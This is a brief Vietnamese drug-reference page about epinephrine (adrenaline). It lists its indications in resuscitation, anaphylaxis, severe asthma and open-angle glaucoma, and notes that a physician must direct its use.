    Epinephrine. Thuốc kích thích giao cảm.Tracuuthuoctay chia sẻ bài viết Epinephrine. Thuốc kích thích giao cảm. là gì? giá thuốc bao nhiêu? chỉ định, cách sử dụng, tác dụng phụ thuốc  Epinephrine..Việc chỉ định và sử dụng adrenalin phải do thầy thuốc có kinh nghiệm thực hiện.Hồi sức tim phổi.Cấp cứu choáng phản vệ và choáng dạng phản vệ (có giãn mạch hệ thống và cung lượng tim thấp).Cơn hen ác tính (phối hợp với các thuốc khác như glucocorticoid,salbutamol).Glôcôm góc mở tiên phát.
    #Epinephrine. , #thuocEpinephrine. #tracuuthuoctay, #yduoc, #nhathuoc

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Facebook Comments

%d bloggers like this: